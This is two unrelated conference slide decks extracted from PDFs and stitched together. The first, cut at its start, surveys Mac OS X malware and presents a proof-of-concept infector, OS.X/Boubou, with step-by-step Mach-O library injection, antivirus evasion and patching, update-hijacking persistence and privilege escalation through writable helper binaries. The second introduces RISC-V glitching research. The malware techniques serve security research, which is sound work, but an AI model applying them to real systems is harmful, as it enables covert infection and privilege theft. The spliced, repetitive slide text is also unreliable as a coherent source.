Oompa Loompa
§ Spread via iChat Bonjour buddy list.
§ Injection into Cocoa apps using Input Managers.
§ Requires user interaction to execute it.
7
History – Lamware, 2006
Opener 3.9
§ Same old shell script as a startup item.
§ The usual trojan horse toolbag:
§ Hidden admin user (UID < 501), enable SSH, AFP, SMB.
§ Data mining, hash cracking (JtR), logs cleaning.
§ New features:
§ Anti-Little Snitch prequel, anti-virus white-listing.
§ Capture network traffic using dsniff.
8
History – Lamware, 2007
RSPlug aka DNSChanger
§ First fake codec package.
§ Prepend DNS every minute using scutil and cron.
§ Perl script to call home.
§ Shell script, later obfuscated using … tr!
§ Polymorphism?
9
History – Lamware, 2007
10
History – Lamware, 2007
MacSweeper, later iMunizator
§ First scareware.
§ -(BOOL)[RegistrationManager isRegistered] and patch
a few bytes…
§ And it really works!
§ Prequel of MacDefender and company.
11
History – Lamware, 2008
iWorkServices and company
§ First malicious torrents?
§ Yet another startup item.
§ Contains LUA scripting!
§ Used for DDOS attacks.
12
History – Lamware, 2008
AppleScript trojan horse template
§ Interesting features:
§ Stay quiet if Little Snitch exists.
§ Old school reverse shell using nc / cat.
§ Script “in the middle” sudo.
§ Different user levels (user, admin, root).
§ Point antivirus update servers to localhost.
§ there_are_no_osx_viruses_silly_wabbit().
13
History – Lamware, 2008
14
History – Lamware, Remarks
§ The key features are here!
§ Recent threats are “updates” of old features (Chuck
Norris likes launchd).
§ But implementation is always lame.
§ Too generic to be harmful (took 3 years to Opener to
improve data mining).
§ Easy to reverse (no encryption).
§ Trick the user to get root: I can haz r00t, plz?
15
Now for something different…
*Note: no connection whatsoever with flashback.net, I just like the picture!
It’s…
16
History – Malware
17
History – Malware
§ Some similarities with previous lamware:
§ Fake codec package.
§ Different user levels (user, root).
§ Stay quiet if some applications exist: Little Snitch,
VirusBarrier, Xcode, etc.
§ In later versions uses launchd.
18
History – Malware
§ Yet, so different and new:
§ Real hijacked websites.
§ Infect only once (persistent cookies, IP, UUID).
§ Polymorphic (so many binaries).
§ Interposers.
§ Later, used exploits CVE-2008-5353, CVE-2012-0507.
§ And became that famous 600k botnet.
19
Flashback Tricks
20
Flashback Tricks – #1
§ From the old trick: ~/.MacOSX/environment.plist (http://
rixstep.com/2/20070201,00.shtml).
§ To the new trick: interpose (hooking, function hijacking).
§ DYLD_INSERT_LIBRARIES is the real thing!
§ Tracks user requests by hooking a few functions.
§ _hook_CFReadStreamRead, _hook_CFWriteStreamWrite.
§ Not perfect, crashed some apps (Skype, FCP, etc).
21
Flashback Tricks – #1
22
Flashback Tricks - # 2
§ Playing Robin Wood with Google since day 1.
§ Not just in the latest versions as implied by some AV
blog posts.
23
Flashback Tricks - # 2
24
Flashback Tricks - # 2
25
Flashback Tricks - #3
§ And also tweeting from day 1!
26
Flashback Tricks - #4
§ Polymorphism?
§ Absolute path of Preferences.dylib.
§ Sends SHA1 of Preferences.dylib to C&C server.
§ On latest releases, data was XORed with machine UUID.
27
Flashback Tricks - #4
28
Flashback Tricks - #4
29
Flashback Tricks - #4
30
Flashback Tricks - #4
31
Flashback - Remarks
§ Flashback put Mac Malware a step further.
§ It’s a reality, not a myth.
§ Some unsolved “puzzle” pieces:
§ Do personalized variants exist?
§ Does a rootkit exist?
§ There are suspicious references to sysent!
32
My Tricks
33
Code Injection
§ As we saw, latest versions of Flashback use
DYLD_INSERT_LIBRARIES trick.
§ It’s the easiest method.
§ But it’s also too noisy and easy to detect.
§ And more important, easy to clean up.
34
Code Injection
§ We can use the same library injection idea.
§ But stealthier and targeted.
§ The trick is to add a new library command into Mach-O
headers.
§ More specifically, a LC_LOAD_DYLIB command.
§ The linker will happily load our code into the process.
§ Usually, there’s enough header space to do it.
35
Code Injection
Some stats from our /Applications folder:
Version
Average Size
Min
Max
32bits
3013
28
49176
64bits
2601
32
36200
Minimum required size is 24bytes.
Check http://reverse.put.as/2012/01/31/anti-
debug-trick-1-abusing-mach-o-to-crash-gdb/
for a complete description.
36
Code Injection – How to do it
§ Find the position of last segment command.
§ Find the first data position, it’s either __text section or
LC_ENCRYPTION_INFO (iOS).
§ Calculate available space between the two.
§ Add new command (if enough space available).
§ Fix the header: size & nr of commands fields.
§ Write or overwrite the new binary.
37
Code Injection – How to do it
38
Code Injection – Other possibilities
§ Exploiting four other possibilities to inject code into the
binary.
§ The first one is the slack space between __TEXT and
__DATA?
§ Unfortunately for us, there’s not enough space.
§ Besides a few exceptions, Skype for example.
§ The ELF Virus Writing HOWTO discusses this.
§ It’s a known “hole” and patched in GCC.
39
Code Injection – Other possibilities
0
10
20
30
40
50
60
70
80
90
0
1
2
3
4
7
8 11 12 16 17 18 20 23 24 28 32 48
Count
Free
bytes
Free
space
between
TEXT
and
DATA
segments
32bits
64bits
40
Code Injection – Other possibilities
§ The second is to try to inject a new section into __TEXT.
§ Doesn’t work!
§ Mach-O loader does not respect section data.
§ Only the segment info.
§ Check http://reverse.put.as/2012/02/02/anti-
disassembly-obfuscation-1-apple-doesnt-follow-their-
own-mach-o-specifications/ for a better description.
41
Code Injection – Other possibilities
42
Code Injection – Other possibilities
43
Code Injection – Other possibilities
§ Third possibility: the functions alignment NOP space.
§ We are interested in the long NOP sequences.
§ They have enough space to execute two instructions.
§ First instruction does an operation, the second jumps to
the next available space.
§ Is there enough space to attempt this?
44
Code Injection – Other possibilities
BBEdit
NOP Size
Count
Total available bytes
1
170619
170619
2
404
808
3
361
1083
4
336
1344
5
742
3710
6
1808
10848
7
1927
13489
8
737
5896
9
359
3231
10
395
3950
Total bytes
214978
Adium
NOP Size
Count
Total available bytes
1
225
225
2
12
24
3
20
60
4
6
24
5
42
210
6
5
30
7
28
196
8
9
72
9
3
27
10
9
90
11
9
99
12
3
36
13
14
182
14
2
28
15
6
90
Total bytes
1393
45
Code Injection – Other possibilities
§ Highly variable between versions, newer BBEdit has a
different profile.
§ Requires “complex” shellcode payload.
§ A mix of operations and jumps.
§ And jumps only, to reach the usable areas.
§ Needs to solve some symbols.
§ And execute a 2nd stage payload.
§ Non-exec heap from Lion onwards.
46
Code Injection – Other possibilities
§ Fourth possibility.
§ Add a new segment command.
§ With execution permissions.
§ And modify entrypoint or its code to start execution
from there.
§ We could reorder the segments to make this less visible.
§ A LC_SEGMENT at the end is highly suspicious.
47
OS.X/Boubou
48
OS.X/Boubou
§ A OS X proof of concept infector/virus.
§ Tries to infect /Applications.
§ Two stages infection:
1) Apps owned by the current user.
2) Remaining apps (root owned) if privilege escalation
is successful.
49
OS.X/Boubou
§ Uses the library injection technique to infect the main
binary.
§ Also supports frameworks.
§ Two main components:
– The infector - responsible for infection.
– The library - contains the malware payload.
50
OS.X/Boubou
§ Tries to make life harder for anti-virus.
§ Steals a random amount of bytes from the infected
binary code.
§ Encrypts and stores them at the library.
§ One library per infected binary/framework.
§ Clean-up requires more work J.
51
OS.X/Boubou
§ Does not use Launch Daemons or Services.
§ That’s lame, seriously!
§ Many apps are infected, so there’s a strong probability
of having our malware payload frequently loaded.
§ IM & Twitter clients, for example.
§ The backdoor availability should be equivalent to a
daemon.
52
OS.X/Boubou
§ We can try to escalate privileges.
§ Our malware payload is executed in app context.
§ Try to exploit the human element - abuse trust and
familiarity.
§ Use authorization services framework to request higher
privileges.
§ Flashback does it but from a terminal program.
§ This is unusual and more suspicious.
53
OS.X/Boubou
54
OS.X/Boubou
§ This app context property is also useful to “attack” Little
Snitch and other app firewalls.
§ The connection request starts from a “trusted”
application.
§ Strong probability of user accepting connections.
§ Or we can be smarter!
§ Parse Little Snitch rules looking for suitable rules (any/
any?).
55
OS.X/Boubou – How it works
§ The infector searches for available frameworks inside
each app and randomly selects one.
§ Verifies if it’s infectable and if not goes to the next one.
§ If all previous attempts fail it tries to infect main binary.
§ Steals a random number of bytes from the __text
section and stores them inside the library.
§ This is done by expanding the __LINKEDIT segment (or
with a new segment, if we wish so).
56
OS.X/Boubou – How it works
§ The library has a constructor as its entrypoint.
§ extern void init(void) __attribute__ ((constructor));
§ When the app is started, dyld will load the infected
library and call the constructor.
§ Next step is to find its own address (ASLR compatible)
and the image it stole the bytes from.
§ Verifies if target was a framework or executable.
§ Decrypts the stored bytes.
57
OS.X/Boubou – How it works
§ And restores them.
§ Infected application can now run normally.
§ We can launch a thread with our malware payload.
§ A botnet with C&C.
§ Or just hijack the browser(s) as Flashback did.
§ Or log the IM messages.
§ Or steal iTunes logins and CC info (http://reverse.put.as/2011/11/22/
evil-itunes-plugins-from-hell/).
§ Or some other (evil) stuff!
58
OS.X/Boubou – How it works
59
OS.X/Boubou – “APT”
§ It isn't fun if you can’t keep it!
§ App updates will kill the infection L.
§ But the probability of losing total access is very low.
§ Because we infected so many apps.
§ We can do better!
§ Let’s continue to abuse features and probabilities…
60
OS.X/Boubou – “APT”
§ Sparkle framework (http://sparkle.andymatuschak.org/).
§ “Sparkle is an easy-to-use software update framework
for Cocoa developers.”.
§ Each app has its own framework copy.
§ We can hijack/swizzle the update process.
§ And infect again the updated version.
§ Oh, and while we are there we can escalate privileges:
ask user password to upgrade.
61
OS.X/Boubou – “APT”
§ Other ways to keep access:
§ Check snare’s awesome work on EFI rootkits.
§ Install a TrustedBSD rootkit. (http://reverse.put.as/2011/09/18/abusing-os-x-
trustedbsd-framework-to-install-r00t-backdoors/)
§ Patch the anti-virus. (http://reverse.put.as/2012/02/13/av-monster-the-
monster-that-loves-yummy-os-x-anti-virus-software/)
§ Classic sysent rootkit or any other type.
§ Etc...
62
OS.X/Boubou – AV-Monster
§ This is a PoC I created a couple of months ago.
§ Abuses the fact that there is a single point of entry for
AV products (check Apple Note 2127).
§ AVs kernel module installs a listener that receives file
events and pass this info to the userland scanning
engine.
§ We can patch the listener.
§ And it’s game over!
63
OS.X/Boubou – AV-Monster
}
return result;
}
Note: Kauth is not invoked when a program is started by the debugger. You can detect this case using the technique
shown in Technical Q&A QA1361, 'Detecting the Debugger'.
Back to Top
Anti-Virus Scanner
Kauth allows you to implement an anti-virus program that supports both "on access" and "post modification" file scanning.
The latter is easy: all you need to do is register a listener for the KAUTH_SCOPE_FILEOP scope and watch for the
KAUTH_FILEOP_CLOSE action. If you see a modified file being closed, you can pass that file to your user space daemon for
scanning. As the scanning proceeds asynchronously in the background, there should be no problems with deadlock.
Implementing "on access" scanning is more challenging. Your approach depends on whether you can always fix a file. If
that's the case, you can listen for KAUTH_FILEOP_OPEN (in the KAUTH_SCOPE_FILEOP) and scan the file immediately after it's been
opened. However, the result of your listener is always ignored, so there is no way to deny the actor access to that file.
If you can't always fix a file, and thus you may want to deny the actor access to the file, you must listen for the appropriate
actions in the KAUTH_SCOPE_VNODE scope. If you scan a file, detect that it's infected, and can't fix it, you should return
KAUTH_RESULT_DENY to prevent the actor from using it.
The difficulty with both of these "on access" approaches is avoiding deadlock. See Implementing a Listener for a detailed
discussion of this problem.
Back to Top
New Kernel Subsystem
If you're implementing an entirely new kernel subsystem (for example, a sophisticated protocol stack), you may decide to
implement your authorization using Kauth. There are seven steps to this:
Decide on a scope name. You should use a reverse DNS-style name, as illustrated by the built-in scopes described in
this document.
1.
Decide on a set of actions. You can choose to use either an enumeration (as done by the file operations scope) or a
2.
64
OS.X/Boubou – AV-Monster
§ Patches the in-memory kernel module.
§ The disk version can be easily patched.
§ At the time of testing no AV had checksum features.
§ As far as I know it still holds true today.
§ Argument: if you gain root, all is lost.
§ It’s valid and somewhat reasonable!
§ But, how really hard is to gain root access?
65
Privilege escalation
§ This presentation assumes that there’s a way to execute
the malware code.
§ I’m not much of a exploitation guy.
§ And assumptions are the economist’s trick to simplify his
job J.
§ OS X is less audited so it should be easier to find holes.
§ But... here is a simple, widespread, lame(!) and still not
fixed way to do it.
66
Privilege escalation – A ½ dayz
§ Apps delegate privileged operations in helper binaries.
§ These binaries can be overwritten due to bad
permissions.
§ Because many applications are installed with drag &
drop.
§ Permissions = logged-in user.
§ Overwrite one of the helpers with a simple shell script or
a binary of your choice.
67
Privilege escalation – A ½ dayz
§ Backup applications.
§ Require higher privileges to make full backups.
§ Overwrite one helper binary.
§ Wait for a backup and voilà, exploit code is executed with
higher privileges.
§ Infect the whole system, install your r00tkitz, etc.
§ Win!
68
Privilege escalation – A ½ dayz
§ Carbon Copy Cloner
69
Privilege escalation – A ½ dayz
70
Privilege escalation – A ½ dayz
71
Final remarks
§ It’s not really hard to write “good” OS X malware.
§ The (monetary) incentives exist and are increasing.
§ Number of samples will grow.
§ Maybe more targeted attacks - Execs love Macs!
§ Gatekeeper is an interesting move.
§ But identity theft is not rocket science.
§ And infection rates could be huge before there’s time to
cancel the certificate.
72
Final remarks – Solutions?
§ Throwing (more) money at the problem doesn’t work.
§ Reduce the incentives!
§ Not with long-term prison threats.
§ With education.
§ I don’t believe that making users dumb and leaving
everything to technology is the solution.
§ We need to make users smart and aware, not dumb and
passive.
73
References
§ http://reverse.put.as
§ http://ho.ax
§ Eric Filiol and J.-P. Fizaine. "Max OS X n'est pas invulnérable aux
virus : comment un virus se fait compagnon". Linux Magazine HS
32.
§ http://www.securelist.com/en/analysis/204792227/
The_anatomy_of_Flashfake_Part_1
§ http://www.intego.com/mac-security-blog/
§ http://www.symantec.com/connect/ko/blogs/osxflashbackk-
overview-and-its-inner-workings
§ Mac OS X ABI Mach-O File Format Reference
74
Greets to:
snare, #osxre, Od, put.as team, nullm0dem
Old sk00l greets to:
nemo, LMH, KF, mu-b, Dino Dai Zovi, Charlie
Miller, Carsten Maartmann-Moe
And a special thanks to noar, for his
contribution, valuable feedback and ideas
J
75
http://reverse.put.as
[email protected]
@osxreverser
#osxre @ irc.freenode.net
76 | pdf |
MTVEC CORRUPTION FOR
HARDENING ISA
Adam 'pi3' Zabrocki
Twitter: @Adam_pi3
GLITCHING RISC-V CHIPS:
Alex Matrosov
Twitter: @matrosov
/USR/BIN/WHOWEARE
Adam ‘pi3’ Zabrocki:
2
•
Phrack author
•
Bughunter (Hyper-V, Intel/NVIDIA vGPU,
Linux kernel, OpenSSH, Apache, gcc SSP /
ProPolice, Apache, xpdf, more…) – CVEs
•
The ERESI Reverse Engineering Software
Interface
•
Creator and a developer of Linux Kernel
Runtime Guard (LKRG)
•
More…
Private contact:
http://pi3.com.pl
[email protected]
Twitter: @Adam_pi3
Alex Matrosov:
Private contact:
github.com/binarly-io
Twitter: @matrosov
•
Security REsearcher since 1997
•
Conference speaker and trainer
•
Breaking all shades of firmware
•
codeXplorer & efiXplorer IDA plugins
•
Author "Bootkits and Rootkits" book
•
Founder of Binarly, Inc.
•
More...
WHAT IS THIS TALK ABOUT?
3
Hardware:
Software:
WHAT IS THIS TALK ABOUT?
4
Hardware:
Software:
WHAT IS THIS TALK ABOUT?
5
Hardware:
Software:
WHAT IS THIS TALK ABOUT?
6
Hardware:
Software:
Hacker
Pure HW attacks, e.g.:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
WHAT IS THIS TALK ABOUT?
7
Hardware:
Software:
Hacker
Pure HW attacks, e.g.:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.,:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
Targeting specific
implementation (e.g.,
programming language,
compiler, firmware, etc.)
WHAT IS THIS TALK ABOUT?
8
Hardware:
Software:
Hacker
Pure HW attacks, e.g.,:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.,:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
Targeting specific
implementation (e.g.,
programming language,
compiler, firmware, etc.)
Targeting specific
implementation (e.g., CPU
family, implementation of
architecture, etc.)
WHAT IS THIS TALK ABOUT?
9
Hardware:
Software:
Hacker
Pure HW attacks, e.g.,:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.,:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
Targeting specific
implementation (e.g.,
programming language,
compiler, firmware, etc.)
Targeting specific
implementation (e.g., CPU
family, implementation of
architecture, etc.)
Mix of HW and SW
attacks e.g.:
Spectre / Meltdown
WHAT IS THIS TALK ABOUT?
10
Hardware:
Software:
Hacker
Pure HW attacks, e.g.,:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.,:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
Targeting specific
implementation (e.g.,
programming language,
compiler, firmware, etc.)
Targetting specific
implementation (e.g., CPU
family, implementatino of
architecture, etc.)
Mix of HW and SW
attacks e.g.:
Spectre / Meltdown
What if the bug is in the
„reference code” like HW
ISA itself?
WHAT IS THIS TALK ABOUT?
11
Hardware:
Software:
Hacker
Pure HW attacks, e.g.,:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.,:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
Targeting specific
implementation (e.g.,
programming language,
compiler, firmware, etc.)
Targetting specific
implementation (e.g., CPU
family, implementatino of
architecture, etc.)
Mix of HW and SW
attacks e.g.:
Spectre / Meltdown
What if the bug is in the
„reference code” like HW
ISA itself?
•
Problem with all implementations
not a specific one!
•
SW can’t trust HW at all...
WHAT IS THIS TALK ABOUT?
12
Hardware:
Software:
Hacker
Pure HW attacks, e.g.,:
•
Glitching
•
Side channel
•
Physical probing
•
More...
Pure SW attacks, e.g.,:
•
Memory safety (like overflows)
•
Injections (like cmd, XSS, SQL, etc.)
•
Logical issues (like bad design)
•
More...
Targeting specific
implementation (e.g.,
programming language,
compiler, firmware, etc.)
Targetting specific
implementation (e.g., CPU
family, implementatino of
architecture, etc.)
Mix of HW and SW
attacks e.g.:
Spectre / Meltdown
What if the bug is in the
„reference code” like HW
ISA itself?
•
Problem with all implementations
not a specific one!
•
SW can’t trust HW at all...
13
HOW DID WE FIND IT?
We wanted to analyze Boot-SW where specific microcode runs but…
It was running on the RISC-V chip (which we had 0 experience with)
Moreover, it was a custom implementation of RISC-V with custom extensions and
functionalities!
Boot-SW was written in AdaCore/SPARK language (which we had 0 experience
with):
Is there any public offensive research on that language?
Did anyone ever hear about it before?
At that time none of the Reverse Engineering tools natively supported RISC-V
Including IDA Pro and Ghidra
14
HOW DID WE FIND IT?
We wanted to analyze Boot-SW where specific microcode runs but…
It was running on the RISC-V chip (which we had 0 experience with)
Moreover, it was a custom implementation of RISC-V with custom extensions and
functionalities!
Boot-SW was written in AdaCore/SPARK language (which we had 0 experience
with):
Is there any public offensive research on that language?
Did anyone ever hear about it before?
At that time none of the Reverse Engineering tools natively supported RISC-V
Including IDA Pro and Ghidra
During this talk we will describe our journey through all of the problems which
resulted in a discovery of the ambiguity of the RISC-V specification
And one additional problem as well ;-)
15
RISC-V IN A NUTSHELL
RISC-V is an open standard instruction set architecture (ISA) based on
established RISC principles
Unlike most other ISAs, the RISC-V ISA is provided under open-source licenses
that do not require fees to use
The same RISC-V chip might have tons of different implementations
RISC-V has a small standard base ISA, with multiple standard extensions:
Potential huge fragmentation of the silicons
Everyone can easily add their own custom RISC-V extension (it’s open source!)
Even bigger fragmentation!
There are more than 500+ members of the RISC-V Foundation
16
RISC-V IN A NUTSHELL
RISC-V is an open standard instruction set architecture (ISA) based on
established RISC principles
Unlike most other ISAs, the RISC-V ISA is provided under open-source licenses
that do not require fees to use
The same RISC-V chip might have tons of different implementations
RISC-V has a small standard base ISA, with multiple standard extensions:
Huge fragmentation of the silicons
Everyone can easily add own custom RISC-V extension (it’s open source!)
Even bigger fragmentation!
17
RISC-V VS X86
x86(-64)
RISC-V
License
Fees for ISA and microarchitecture
No fee for ISA & microarchitecture
Instruction Set
CISC*
RISC
ISA variants
16 / 32 / 64 bits
32 / 64 / 128 bits
Memory model
Register-memory architecture
Load-store architecture
Registers
16-bit: 6 semi-dedicated registers, BP and
SP are not general-purpose
32-bit: 8 GPRs, including EBP and ESP
64-bit: 16 GPRs, including RBP and RSP
32 (16 in the embedded variant) –
including one always-zero register
XOM
Only using SLAT – requires
hypervisor
Everywhere
SW ecosystem support
Linux, Windows, MacOS, more...
Linux only...
* Since Pentium Pro, x86 instructions are turned into micro ops (kind of like RISC)
18
RISC-V VS X86
Privilege modes / levels
19
RISC-V VS X86
Privilege modes / levels
https://medium.com/swlh/negative-rings-in-
intel-architecture-the-security-threats-youve-
probably-never-heard-of-d725a4b6f831
X86(-64):
20
RISC-V VS X86
Privilege modes / levels
https://medium.com/swlh/negative-rings-in-
intel-architecture-the-security-threats-youve-
probably-never-heard-of-d725a4b6f831
X86(-64):
RISC-V:
U-mode
S-mode
M-mode
User
Supervisor
Machine
Supported
combinations:
•
M
•
M + U
•
M + S + U
21
RISC-V VS X86
Privilege modes / levels
https://medium.com/swlh/negative-rings-in-
intel-architecture-the-security-threats-youve-
probably-never-heard-of-d725a4b6f831
X86(-64):
RISC-V:
U-mode
HS-mode
M-mode
User
Hypervisor
Extended
Supervisor
Machine
Supported
combinations:
•
M
•
M + U
•
M + S + U
•
M + (V)S + (V)U
VS-mode
VU-mode
Virtualized
User
Virtualized
Supervisor
22
RISC-V VS X86
Privilege modes / levels
https://medium.com/swlh/negative-rings-in-
intel-architecture-the-security-threats-youve-
probably-never-heard-of-d725a4b6f831
X86(-64):
RISC-V:
U-mode
HS-mode
M-mode
User
Hypervisor
Extended
Supervisor
Machine
Supported
combinations:
•
M
•
M + U
•
M + S + U
•
M + (V)S + (V)U
VS-mode
VU-mode
Virtualized
User
Virtualized
Supervisor
“GOD” MODE
23
ADACORE / SPARK
24
ADACORE / SPARK
25
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
26
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
27
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
28
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
29
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
Traditionally used in industries such as:
Avionics, Railways, Defense, Auto, IoT
30
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
Traditionally used in industries such as:
Avionics, Railways, Defense, Auto, IoT
31
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
Traditionally used in industries such as:
Avionics, Railways, Defense, Auto, IoT
test.adb:28:25: medium: divide by zero might fail (e.g. when b = 42)
test.adb:30:31: medium: array index check might fail (e.g. when MyIndex =
36)
test.adb:37:30: value not in range of type "MyType" defined at test.ads:6
test.adb:37:30: "Constraint_Error" would have been raised at run time
32
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
Traditionally used in industries such as:
Avionics, Railways, Defense, Auto, IoT
test.adb:28:25: medium: divide by zero might fail (e.g. when b = 42)
test.adb:30:31: medium: array index check might fail (e.g. when MyIndex =
36)
test.adb:37:30: value not in range of type "MyType" defined at test.ads:6
test.adb:37:30: "Constraint_Error" would have been raised at run time
33
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
Traditionally used in industries such as:
Avionics, Railways, Defense, Auto, IoT
test.adb:28:25: medium: divide by zero might fail (e.g. when b = 42)
test.adb:30:31: medium: array index check might fail (e.g. when MyIndex =
36)
test.adb:37:30: value not in range of type "MyType" defined at test.ads:6
test.adb:37:30: "Constraint_Error" would have been raised at run time
Lessons learned:
• You can compile buggy code – problems are
detected by the tools and developers might not
run them at all!
• Tools are orthogonal and detect different classes
of problems – to be fully protected you must run
all of them!
• What are the classes of problems which can or
cannot be detected? – very limited public
information :(
34
WHAT IS ADACORE/SPARK?
Programming language + set of analysis tools
The strength is in the analysis tools…
GNATProve, GNATStack,
GNATTest, GNATEmulator
Statically provable
Proves that dynamic checks cannot fail
Absence of Run-Time Errors
Formal verification (Proofs)
Memory safe language (like RUST)
Very strong typing system (much stronger than RUST)
No arithmetic overflows, integer overflows, etc.
Traditionally used in industries such as:
Avionics, Railways, Defense, Auto, IoT
test.adb:28:25: medium: divide by zero might fail (e.g. when b = 42)
test.adb:30:31: medium: array index check might fail (e.g. when MyIndex =
36)
test.adb:37:30: value not in range of type "MyType" defined at test.ads:6
test.adb:37:30: "Constraint_Error" would have been raised at run time
Lessons learned:
• You can compile buggy code – problems are
detected by the tools and developers might not
run them at all!
• Tools are orthogonal and detect different classes
of problems – to be fully protected you must run
all of them!
• What are the classes of problems which can or
cannot be detected? – very limited public
information :( - time for more research!
35
ADACORE/SPARK - EVALUATION
36
ADACORE/SPARK - EVALUATION
37
ADACORE/SPARK - EVALUATION
38
ADACORE/SPARK - EVALUATION
39
ADACORE/SPARK - EVALUATION
40
ADACORE/SPARK - EVALUATION
41
ADACORE/SPARK - EVALUATION
42
ADACORE/SPARK - EVALUATION
Lesson learned:
You can compile buggy code – problems are detected by the tools and
developers might not run them at all!
Tools are orthogonal and detect different classes of problems – to be fully
protected you must run all of them!
43
ADACORE/SPARK - EVALUATION
Lesson learned:
You can compile buggy code – problems are detected by the tools and
developers might not run them at all!
Tools are orthogonal and detect different classes of problems – to be fully
protected you must run all of them!
Most of the potential security issues might be:
In the design
Logical errors
44
ADACORE/SPARK - EVALUATION
Lesson learned:
You can compile buggy code – problems are detected by the tools and
developers might not run them at all!
Tools are orthogonal and detect different classes of problems – to be fully
protected you must run all of them!
Most of the potential security issues might be:
In the design
Logical errors
Bugs can be introduced by the compiler itself as well
45
ADACORE/SPARK - EVALUATION
Lesson learned:
You can compile buggy code – problems are detected by the tools and
developers might not run them at all!
Tools are orthogonal and detect different classes of problems – to be fully
protected you must run all of them!
Most of the potential security issues might be:
In the design
Logical errors
Bugs can be introduced by the compiler itself as well
We need to analyze
the binary!
46
ADACORE/SPARK - EVALUATION
Lesson learned:
You can compile buggy code – problems are detected by the tools and
developers might not run them at all!
Tools are orthogonal and detect different classes of problems – to be fully
protected you must run all of them!
Most of the potential security issues might be:
In the design
Logical errors
Bugs can be introduced by the compiler itself as well
We need to analyze
the binary!
During this research, neither IDA Pro nor Ghidra supported RISC-V ; (
47
ADACORE/SPARK - EVALUATION
Lesson learned:
You can compile buggy code – problems are detected by the tools and
developers might not run them at all!
Tools are orthogonal and detect different classes of problems – to be fully
protected you must run all of them!
Most of the potential security issues might be:
In the design
Logical errors
Bugs can be introduced by the compiler itself as well
We need to analyze
the binary!
During this research, neither IDA Pro nor Ghidra supported RISC-V ; (
48
BRINGING RISC-V TO GHIDRA
Ghidra 9.0 didn’t support RISC-V…
Moreover, we were dealing with the custom RISC-V with the custom
extensions…
49
BRINGING RISC-V TO GHIDRA
Ghidra 9.0 didn’t support RISC-V…
Moreover, we were dealing with the custom RISC-V with the custom
extensions…
RISC-V is huge!
Implementing entire RISC-V base would take TONS of time…
… additionally, we needed custom RISC-V extension support
50
BRINGING RISC-V TO GHIDRA
Ghidra 9.0 didn’t support RISC-V…
Moreover, we were dealing with the custom RISC-V with the custom
extensions…
RISC-V is huge!
Implementing entire RISC-V base would take TONS of time…
… additionally, we needed custom RISC-V extension support
We found on the github a few RISC-V base plugins – different
implementations:
We decided to “integrate” one of the plugin to Ghidra TOT
… Few months after our research Ghidra 9.2 brought RISC-V support using
exactly the same plugin ;-)
51
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
